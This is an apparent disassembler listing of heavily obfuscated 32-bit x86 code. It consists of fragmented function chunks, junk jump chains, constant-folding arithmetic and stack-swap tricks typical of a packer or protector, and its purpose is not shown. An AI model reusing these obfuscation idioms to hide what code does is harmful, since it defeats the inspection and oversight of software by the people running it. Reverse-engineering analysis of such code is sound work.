jmp loc_7485AC ; END OF FUNCTION CHUNK FOR sub_749010 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D1F3 loc_74BE1F: ; CODE XREF: sub_74D1F3-9FAj jle loc_74EE97 pop ebx jns loc_75608A jmp loc_74B253 ; END OF FUNCTION CHUNK FOR sub_74D1F3 ; --------------------------------------------------------------------------- loc_74BE31: ; DATA XREF: sub_74B525:loc_74F0ABo cmp dword ptr [ebp-4], 0 jz loc_74D586 call nullsub_5 jmp loc_752F4F ; =============== S U B R O U T I N E ======================================= sub_74BE45 proc near ; CODE XREF: sub_74B525+3620j ; FUNCTION CHUNK AT 00746A62 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074D586 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0074F01F SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0074FE2C SIZE 0000000F BYTES add esp, 0FFFFFED8h jmp loc_746A62 sub_74BE45 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7543C5 loc_74BE50: ; CODE XREF: sub_7543C5:loc_74AB2Aj jg loc_747F27 jmp loc_7578C9 ; END OF FUNCTION CHUNK FOR sub_7543C5 ; --------------------------------------------------------------------------- push edx call sub_74B1F1 push offset sub_7498D6 jmp locret_74D88B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_750291 loc_74BE6B: ; CODE XREF: sub_750291+Fj push edx call sub_74B1F1 mov eax, 8D800AAh push eax jmp loc_74A17D ; END OF FUNCTION CHUNK FOR sub_750291 ; --------------------------------------------------------------------------- loc_74BE7C: ; DATA XREF: sub_74F5B8+Eo jz loc_7530DD mov dword ptr [ebp-8], 1 jmp loc_75144F ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_74BE8E proc near ; CODE XREF: sub_7452F3j var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_C = dword ptr -0Ch var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00746CA8 SIZE 0000000D BYTES push ebp mov ebp, esp call sub_755FD6 loc_74BE96: ; DATA XREF: sub_74F226-81A8o mov [ebp+var_4], eax mov eax, [ebp+var_14] mov [ebp+var_C], eax mov eax, [ebp+var_20] movzx eax, byte ptr [eax] jmp loc_746CA8 sub_74BE8E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75118C loc_74BEAA: ; CODE XREF: sub_75118C+1807j add eax, 8A804214h xchg eax, [esp+0] jmp loc_74A70E ; END OF FUNCTION CHUNK FOR sub_75118C ; --------------------------------------------------------------------------- loc_74BEB8: ; CODE XREF: _0z4jwtox:0074E090j sub ecx, ebx pop ebp jg loc_745D39 xchg esi, [ecx] jmp loc_7512A5 ; --------------------------------------------------------------------------- loc_74BEC8: ; DATA XREF: _0z4jwtox:loc_74653Do xchg eax, [esp] mov ecx, eax pop eax pop ecx jmp loc_753109 ; =============== S U B R O U T I N E ======================================= sub_74BED4 proc near ; CODE XREF: sub_75263A:loc_745E8Ap ; _0z4jwtox:007473A7j ; FUNCTION CHUNK AT 00748B31 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00748FF9 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0074E8F7 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00753778 SIZE 0000001C BYTES xchg ebx, [esp+0] pop ebx test byte ptr [ebp-7], 8 jz loc_753778 loc_74BEE2: ; CODE XREF: sub_749980:loc_748A5Dj push ebp loc_74BEE3: ; CODE XREF: _0z4jwtox:loc_74E0BCj jmp loc_74E8F7 sub_74BED4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_74BEE8: ; CODE XREF: _0z4jwtox:loc_75726Aj call sub_74FA8F jnz loc_745A59 mov ecx, [ebx+edx-4] or ecx, ecx jmp loc_74AA95 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752D11 loc_74BEFE: ; CODE XREF: sub_752D11-423Dj jnp loc_74592B not eax loc_74BF06: ; CODE XREF: sub_752D11:loc_7501C4j push 0AD5248EAh pop eax rol eax, 5 jmp loc_748918 ; END OF FUNCTION CHUNK FOR sub_752D11 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CF82 loc_74BF14: ; CODE XREF: sub_74CF82+1AF8j push edx call sub_7490F6 mov eax, 59DAD382h call sub_746E93 jmp loc_749385 ; END OF FUNCTION CHUNK FOR sub_74CF82 ; --------------------------------------------------------------------------- push esi mov esi, eax xchg esi, [esp] push 55142123h pop eax jmp loc_748E83 ; =============== S U B R O U T I N E ======================================= sub_74BF3A proc near ; CODE XREF: _0z4jwtox:007453BDj ; sub_752E17+12p ; FUNCTION CHUNK AT 00746A21 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00748A3A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0074ABB2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074B4D7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074B8B0 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074C2EC SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00750033 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00754B94 SIZE 0000002A BYTES ; FUNCTION CHUNK AT 00755A36 SIZE 00000016 BYTES xchg esi, [esp+0] pop esi lea eax, [ebp-14h] xor edx, edx call sub_752E0F loc_74BF48: ; CODE XREF: sub_74FC30+Dj mov eax, ds:dword_74B2A0 jmp loc_74B4D7 sub_74BF3A endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CBCF loc_74BF52: ; CODE XREF: sub_74CBCF+3EDFj or esi, 4EB8B53Eh jge loc_746EC7 sub ebx, esi loc_74BF60: ; CODE XREF: sub_74CBCF:loc_750AA2j or ebx, 6B5F91F7h sub ebx, 0FB9296D8h add ebx, 17A246C6h jmp loc_745F9C ; END OF FUNCTION CHUNK FOR sub_74CBCF ; --------------------------------------------------------------------------- loc_74BF77: ; CODE XREF: _0z4jwtox:0074D060j push edi loc_74BF78: ; CODE XREF: _0z4jwtox:loc_74D050j add eax, 607595A7h xchg eax, [esp] jmp loc_74FBA7 ; --------------------------------------------------------------------------- mov esp, ebp jmp loc_754C54 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A7D8 loc_74BF8D: ; CODE XREF: sub_74A7D8:loc_74874Ej xchg ebx, [esp+0] push ebx pop edx pop ebx jmp loc_748928 ; END OF FUNCTION CHUNK FOR sub_74A7D8 ; --------------------------------------------------------------------------- cmp edx, 5B5FD99Fh jmp loc_750D23 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_753176 loc_74BFA3: ; CODE XREF: sub_753176+29D1j sub ebx, 5AEE62A8h jmp loc_747CF1 ; END OF FUNCTION CHUNK FOR sub_753176 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75118C loc_74BFAE: ; CODE XREF: sub_75118C+16j push edx push ebx push 9E3EAC05h pop ebx rol ebx, 1Ch add ebx, 0A690EB2Fh xchg ebx, [esp+8+var_8] jmp loc_748493 ; END OF FUNCTION CHUNK FOR sub_75118C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A3AB loc_74BFC7: ; CODE XREF: sub_74A3AB-298Fj jnz loc_7548A1 add ebx, ecx jp loc_74964B sbb ebp, 0FC40058Bh jmp loc_75489D ; END OF FUNCTION CHUNK FOR sub_74A3AB ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_74BFE0 proc near ; CODE XREF: sub_74CBB7:loc_74D622j ; sub_74CBB7+C9Fp var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00746282 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0074B5B8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074D06D SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0074EFDA SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0075220D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007522BD SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00754D1D SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00755D51 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00756587 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00757418 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007575FA SIZE 00000007 BYTES push edi mov edi, ebp xchg edi, [esp+4+var_4] mov ebp, esp push ecx mov [ebp+var_4], eax jmp loc_7522BD sub_74BFE0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- and edi, ebp jmp sub_74D505 ; =============== S U B R O U T I N E ======================================= sub_74BFF8 proc near ; CODE XREF: _0z4jwtox:0074F0BBj ; _0z4jwtox:00750B7Dp ; FUNCTION CHUNK AT 00745210 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00745B6E SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0074D3BD SIZE 00000011 BYTES xchg edi, [esp+0] pop edi xor eax, 727145FBh push eax pushf push 0BB0F5E54h jmp loc_745210 sub_74BFF8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748FA4 loc_74C00E: ; CODE XREF: sub_748FA4:loc_749AE1j jz loc_755EEB jmp loc_755716 ; END OF FUNCTION CHUNK FOR sub_748FA4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_74C019: ; CODE XREF: sub_747C22:loc_752BBAj jz loc_7559C3 jmp loc_752497 ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- loc_74C024: ; CODE XREF: _0z4jwtox:0074FC83j test ecx, eax jmp loc_745609 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_236. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7557E7 loc_74C02C: ; CODE XREF: sub_7557E7-671Bj jmp loc_75763E ; END OF FUNCTION CHUNK FOR sub_7557E7 ; --------------------------------------------------------------------------- loc_74C031: ; CODE XREF: _0z4jwtox:0074C63Dj jmp nullsub_19 ; --------------------------------------------------------------------------- loc_74C036: ; CODE XREF: _0z4jwtox:0075316Bj xchg edx, [esp] loc_74C039: ; CODE XREF: _0z4jwtox:0075745Fj jmp sub_7570B1 ; --------------------------------------------------------------------------- xchg ecx, [ebp+0] add ebx, ecx jmp sub_752C8E ; --------------------------------------------------------------------------- js loc_756945 jmp loc_75251E ; --------------------------------------------------------------------------- loc_74C053: ; CODE XREF: _0z4jwtox:loc_74DAC5j pop esi xor esi, 74FBEBF4h and esi, 911EBD27h jnz loc_74BD9E popf jmp loc_753A77 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74946E loc_74C06C: ; CODE XREF: sub_74946E+8D34j cdq xchg ecx, [ebx] jmp loc_756890 ; END OF FUNCTION CHUNK FOR sub_74946E ; =============== S U B R O U T I N E ======================================= sub_74C074 proc near ; CODE XREF: _0z4jwtox:0074BBAFp ; _0z4jwtox:0074E113j xchg ecx, [esp+0] pop ecx xor eax, 0AA8784D1h push edi pushf push 966D7DEFh pop edi sub_74C074 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_74FE55 loc_74C086: ; CODE XREF: sub_74FE55:loc_74A3B1j jmp loc_74508F ; END OF FUNCTION CHUNK FOR sub_74FE55 ; --------------------------------------------------------------------------- shl edi, 8 jmp sub_752115 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7501AF loc_74C093: ; CODE XREF: sub_7501AF-68Bj pop ebp jmp loc_755EEB ; END OF FUNCTION CHUNK FOR sub_7501AF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74721B loc_74C099: ; CODE XREF: sub_74721B:loc_74B63Ej sub al, 99h call sub_74F3C6 ; END OF FUNCTION CHUNK FOR sub_74721B ; =============== S U B R O U T I N E ======================================= sub_74C0A0 proc near ; CODE XREF: _0z4jwtox:loc_74D5B4j ; sub_750219p ... ; FUNCTION CHUNK AT 00746CB5 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 007480CB SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00749D57 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00749DAF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074A734 SIZE 0000002F BYTES ; FUNCTION CHUNK AT 0074E802 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0074FC58 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0075062A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 007514E4 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 007527B1 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00752850 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00753085 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00754965 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007567A0 SIZE 00000005 BYTES jnz loc_752850 xchg esi, [esp+0] mov edx, esi pop esi jmp loc_7567A0 sub_74C0A0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- locret_74C0B1: ; CODE XREF: _0z4jwtox:loc_74663Bj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C8DA loc_74C0B2: ; CODE XREF: sub_74C8DA:loc_74DC95j shl eax, 2 and edi, 1BF8EABCh jmp loc_7573A4 ; END OF FUNCTION CHUNK FOR sub_74C8DA ; =============== S U B R O U T I N E ======================================= sub_74C0C0 proc near ; DATA XREF: sub_747968+DC73o add ecx, 0FC0C1E53h xor eax, ecx call sub_7556D8 sub_74C0C0 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_752E17 loc_74C0CD: ; CODE XREF: sub_752E17+2Dj jmp sub_746E93 ; END OF FUNCTION CHUNK FOR sub_752E17 ; --------------------------------------------------------------------------- loc_74C0D2: ; CODE XREF: _0z4jwtox:0074CBB2j jmp loc_753C1C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AAC1 loc_74C0D7: ; CODE XREF: sub_74AAC1-72j jmp loc_756F56 ; END OF FUNCTION CHUNK FOR sub_74AAC1 ; --------------------------------------------------------------------------- loc_74C0DC: ; CODE XREF: _0z4jwtox:00746953j ; _0z4jwtox:0074EDC0j sub eax, 0FD6D0657h add eax, 56521D8Fh call sub_747B5B ; START OF FUNCTION CHUNK FOR sub_748FA4 loc_74C0ED: ; CODE XREF: sub_748FA4+A6FDj jmp nullsub_14 ; END OF FUNCTION CHUNK FOR sub_748FA4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74EB61 loc_74C0F2: ; CODE XREF: sub_74EB61+Cj jmp loc_753204 ; END OF FUNCTION CHUNK FOR sub_74EB61 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CD80 loc_74C0F7: ; CODE XREF: sub_74CD80+Aj jmp loc_74D27E ; END OF FUNCTION CHUNK FOR sub_74CD80 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74B305 loc_74C0FC: ; CODE XREF: sub_74B305+13j add edi, 10D5CB62h xchg edi, [esp+4+var_4] jmp loc_7523CF ; END OF FUNCTION CHUNK FOR sub_74B305 ; --------------------------------------------------------------------------- mov eax, 1F1D4A60h call sub_746E93 ; START OF FUNCTION CHUNK FOR sub_74E40A loc_74C114: ; CODE XREF: sub_74E40A+5601j call sub_755964 ; END OF FUNCTION CHUNK FOR sub_74E40A ; START OF FUNCTION CHUNK FOR sub_752E0F loc_74C119: ; CODE XREF: sub_752E0F:loc_745833j jnb sub_74D424 add esp, 0FFFFFFF8h mov [ebp+var_8], edx mov [ebp+var_4], eax jmp loc_74B31D ; END OF FUNCTION CHUNK FOR sub_752E0F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7475CB loc_74C12D: ; CODE XREF: sub_7475CB:loc_748946j xor edx, ebx adc ebx, esi jmp loc_74B675 ; END OF FUNCTION CHUNK FOR sub_7475CB ; --------------------------------------------------------------------------- locret_74C136: ; CODE XREF: _0z4jwtox:00754CBAj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749EC9 loc_74C137: ; CODE XREF: sub_749EC9+A7C2j jmp loc_74838F ; END OF FUNCTION CHUNK FOR sub_749EC9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747290 loc_74C13C: ; CODE XREF: sub_747290+8279j xor esi, 0A1B4FAFEh rol esi, 14h cmp esi, 0AC14AD1Fh jmp loc_74A08F ; END OF FUNCTION CHUNK FOR sub_747290 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AAC1 loc_74C150: ; CODE XREF: sub_74AAC1-1ED6j ; _0z4jwtox:0074F7F2j sub ecx, 0D73F7068h jnz loc_74E6BC push ebp jmp loc_74FC50 ; END OF FUNCTION CHUNK FOR sub_74AAC1 ; --------------------------------------------------------------------------- loc_74C162: ; CODE XREF: _0z4jwtox:loc_756277j shl ecx, 1Fh add ecx, 0ED5B617Dh ; START OF FUNCTION CHUNK FOR sub_74F1FE loc_74C16B: ; CODE XREF: sub_74F1FE:loc_756264j sub edi, 38AD03B6h js loc_7454FD ; END OF FUNCTION CHUNK FOR sub_74F1FE ; START OF FUNCTION CHUNK FOR sub_74F594 loc_74C177: ; CODE XREF: sub_74F594+Ej jmp loc_753350 ; END OF FUNCTION CHUNK FOR sub_74F594 ; --------------------------------------------------------------------------- adc edx, esi jmp loc_746654 ; --------------------------------------------------------------------------- xor eax, 0B4CB980Fh add eax, 61B047D3h ; START OF FUNCTION CHUNK FOR sub_747968 loc_74C18F: ; CODE XREF: sub_747968:loc_74736Fj rol eax, 2 sub eax, 17A920C7h push ecx jmp loc_7555CF ; END OF FUNCTION CHUNK FOR sub_747968 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74FE55 loc_74C19E: ; CODE XREF: sub_74FE55:loc_75626Aj cmp edi, 0FD9CFD73h jmp loc_74A3B1 ; END OF FUNCTION CHUNK FOR sub_74FE55 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D23E loc_74C1A9: ; CODE XREF: sub_74D23E+89F5j and edi, ebx and ebx, 3F22F032h jmp loc_74DDEE ; END OF FUNCTION CHUNK FOR sub_74D23E ; --------------------------------------------------------------------------- adc ecx, 37B0A5C8h sub ecx, 0C88D0113h push esi js loc_753AF4 jmp loc_75068A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749010 loc_74C1CE: ; CODE XREF: sub_749010:loc_74BE13j mov eax, 9A326B9Eh jmp sub_74F30D ; END OF FUNCTION CHUNK FOR sub_749010 ; =============== S U B R O U T I N E ======================================= sub_74C1D8 proc near ; CODE XREF: _0z4jwtox:00752A9Cj ; sub_746640+F7E7p arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00746118 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00747127 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074743C SIZE 0000001A BYTES ; FUNCTION CHUNK AT 007476CF SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0074CEB6 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0074EC6A SIZE 00000005 BYTES xchg edi, [esp+0] pop edi add esp, 8 mov eax, [eax] add eax, [ebp-4] push esi push 0EDCF98D4h jmp loc_746118 sub_74C1D8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_74C1EF: ; CODE XREF: _0z4jwtox:007492B1j pop edi mov eax, [esp] push ecx mov ecx, edx jmp loc_751052 ; --------------------------------------------------------------------------- loc_74C1FB: ; DATA XREF: sub_74952C+1E04o xchg eax, [esp] push 658F3E37h pop ebx add ebx, 18E779C2h sub ebx, 0E5BCC120h add ebx, 67BAB65Fh xchg ebx, [esp] ; START OF FUNCTION CHUNK FOR sub_7462C2 loc_74C219: ; CODE XREF: sub_7462C2:loc_755291j jmp loc_7574DE ; END OF FUNCTION CHUNK FOR sub_7462C2 ; --------------------------------------------------------------------------- mov eax, 19EDC823h call sub_746E93 push ecx push 7CC30B68h mov ecx, ebx jmp loc_74AB25 ; --------------------------------------------------------------------------- loc_74C235: ; DATA XREF: sub_75740D-69D8o xchg edx, [esp] mov [ebp-4], eax mov eax, [ebp-4] mov al, [eax] jno loc_7506BD sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] jmp loc_748081 ; --------------------------------------------------------------------------- loc_74C252: ; CODE XREF: _0z4jwtox:00747716j push offset sub_75452E jmp locret_7540FE ; --------------------------------------------------------------------------- loc_74C25C: ; CODE XREF: _0z4jwtox:007493A3j adc ebx, ebp loc_74C25E: ; CODE XREF: _0z4jwtox:loc_74AE9Cj push 0B0BE2EFCh pop eax xor eax, 0D6AA4B96h and eax, 0C2B3E6D8h cmp eax, 4DCB1764h jmp loc_74AEC1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748C0D loc_74C27B: ; CODE XREF: sub_748C0D+D934j jge loc_752010 ; END OF FUNCTION CHUNK FOR sub_748C0D ; START OF FUNCTION CHUNK FOR sub_7468F2 loc_74C281: ; CODE XREF: sub_7468F2+D376j jmp loc_74A3EB ; END OF FUNCTION CHUNK FOR sub_7468F2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E11E loc_74C286: ; CODE XREF: sub_74E11E-18AFj jmp loc_753B29 ; END OF FUNCTION CHUNK FOR sub_74E11E ; --------------------------------------------------------------------------- or ecx, 550F7D67h pushf mov ecx, 1268E894h and esi, 0F5D3B40Bh jmp loc_752010 ; --------------------------------------------------------------------------- loc_74C2A2: ; DATA XREF: sub_74A7BD+3o xchg ebp, [esp] push 0E56EC052h pop eax and eax, 0A1E64CD8h jmp loc_749532 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_754C3F loc_74C2B6: ; CODE XREF: sub_754C3F+10j inc dword ptr [ebp-4] jmp loc_751326 ; END OF FUNCTION CHUNK FOR sub_754C3F ; =============== S U B R O U T I N E ======================================= sub_74C2BE proc near ; CODE XREF: sub_74673E:loc_74674Ep mov eax, 0E4h retn sub_74C2BE endp ; --------------------------------------------------------------------------- loc_74C2C4: ; CODE XREF: _0z4jwtox:0074B466j jmp loc_74AC44 ; =============== S U B R O U T I N E ======================================= sub_74C2C9 proc near ; CODE XREF: _0z4jwtox:loc_745E3Fp ; sub_75275A-C87Bp ... ; FUNCTION CHUNK AT 00746547 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00746E17 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 007485E0 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0074935F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074A05A SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0074FB29 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0074FF99 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 00750F19 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00752D5F SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00755A83 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0075623C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00756965 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0075729D SIZE 00000005 BYTES jz sub_752D6B push ebp mov ebp, esp push ecx cmp ds:dword_74B2AC, 0 jmp loc_755A83 sub_74C2C9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75379A loc_74C2DF: ; CODE XREF: sub_75379A+Dj cmp dword ptr [eax-14h], 4 jnz loc_74782D loc_74C2E9: ; CODE XREF: _0z4jwtox:loc_74CF29j mov eax, [ebp+8] ; END OF FUNCTION CHUNK FOR sub_75379A ; START OF FUNCTION CHUNK FOR sub_74BF3A loc_74C2EC: ; CODE XREF: sub_74BF3A:loc_750033j push offset sub_747736 jmp loc_74ABB2 ; END OF FUNCTION CHUNK FOR sub_74BF3A ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_74C2F6 proc near ; CODE XREF: sub_74E762:loc_749280j retn sub_74C2F6 endp ; --------------------------------------------------------------------------- db 9 dword_74C2F8 dd 0FFFF8000h, 74h, 0FFFF8000h, 2, 0FFFF8000h, 0Dh, 0FFFF8000h ; DATA XREF: sub_748773+4634o ; sub_74D782:loc_752F1Fo dd 1, 0FFFF8000h, 73h, 0FFFF8000h, 0Bh, 0FFFF8000h, 9 dd 0FFFF8000h, 15h, 0FFFF8000h, 10h, 0FFFF8000h, 13h, 0FFFF8000h dd 12h, 0FFFF8000h, 97h, 0FFFF8000h, 17h, 0FFFF8000h, 0Ah dd 0FFFF8000h, 4, 0FFFF8000h, 3 dword_74C378 dd 71AB0000h, 7D323575h, 23C56466h, 0E9001B6Ch, 2450h ; DATA XREF: sub_747F9D+3o dd 74DCB368h, 0A7CAE900h, 0CFC10000h, 75C3E913h db 2 dup(0), 99h ; =============== S U B R O U T I N E ======================================= sub_74C39F proc near ; CODE XREF: sub_74A7D8p xchg esi, [esp+0] pop esi call sub_74C3B3 jmp ds:off_41F0EC sub_74C39F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D0A9 loc_74C3AE: ; CODE XREF: sub_74D0A9+1j jmp loc_746619 ; END OF FUNCTION CHUNK FOR sub_74D0A9 ; =============== S U B R O U T I N E ======================================= sub_74C3B3 proc near ; CODE XREF: sub_74C39F+4p ; sub_747C39+B3A2j ... var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0074906B SIZE 00000017 BYTES ; FUNCTION CHUNK AT 007498A6 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0074C970 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 007510DA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00752FE0 SIZE 0000000B BYTES js loc_752FE0 jmp loc_7510DA sub_74C3B3 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74B719 loc_74C3BE: ; CODE XREF: sub_74B719-2F52j jnz loc_755B94 mov eax, [ebp+8] push eax mov eax, [ebp+8] cmp dword ptr [eax-1Ch], 0F6h call sub_755CFC ; END OF FUNCTION CHUNK FOR sub_74B719 ; START OF FUNCTION CHUNK FOR sub_747736 loc_74C3D7: ; CODE XREF: sub_747736+3FFFj jnz loc_756515 mov eax, [ebp+8] mov eax, [eax-8] or eax, 8 jmp loc_756507 ; END OF FUNCTION CHUNK FOR sub_747736 ; =============== S U B R O U T I N E ======================================= sub_74C3EB proc near ; DATA XREF: sub_746C84:loc_74B5C3o ; FUNCTION CHUNK AT 00745532 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074A0FB SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0074F571 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00750BBB SIZE 00000009 BYTES ; FUNCTION CHUNK AT 007526F4 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00756F67 SIZE 0000000B BYTES pop edx mov eax, [eax] cmp byte ptr [eax], 0F1h jnz loc_750C6E jmp loc_74F571 sub_74C3EB endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_755F42 loc_74C3FC: ; CODE XREF: sub_755F42:loc_753A72j jnz loc_74DFA8 ; END OF FUNCTION CHUNK FOR sub_755F42 ; START OF FUNCTION CHUNK FOR sub_74D4D3 loc_74C402: ; CODE XREF: sub_74D4D3-2894j jmp loc_74AE02 ; END OF FUNCTION CHUNK FOR sub_74D4D3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_750291 loc_74C407: ; CODE XREF: sub_750291-6105j jmp loc_75742D ; END OF FUNCTION CHUNK FOR sub_750291 ; --------------------------------------------------------------------------- xor eax, esi jmp loc_74DFA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_756327 loc_74C413: ; CODE XREF: sub_756327+1j push 1E126E53h pop ecx sub ecx, 801F5357h xor ecx, 86E18A5Dh jmp loc_7540FF ; END OF FUNCTION CHUNK FOR sub_756327 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749B95 loc_74C42A: ; CODE XREF: sub_749B95:loc_745C48j pop ebx and ebx, 344A7723h sub ebx, 93B328EFh and ebx, 2C24D2ECh xor ebx, 6953B478h sub eax, ebx jmp loc_74E775 ; END OF FUNCTION CHUNK FOR sub_749B95 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C670 loc_74C44A: ; CODE XREF: sub_74C670:loc_74DABBj jnz loc_7520F7 jmp loc_753878 ; END OF FUNCTION CHUNK FOR sub_74C670 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_52. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_750243 loc_74C456: ; CODE XREF: sub_750243-2DD7j jmp loc_7567C6 ; END OF FUNCTION CHUNK FOR sub_750243 ; --------------------------------------------------------------------------- loc_74C45B: ; CODE XREF: _0z4jwtox:0074860Aj shr ebp, 1Fh ; =============== S U B R O U T I N E ======================================= sub_74C45E proc near ; CODE XREF: _0z4jwtox:00753604p ; FUNCTION CHUNK AT 0074D376 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074DF88 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 007541E5 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx push eax jmp loc_7541E5 sub_74C45E endp ; 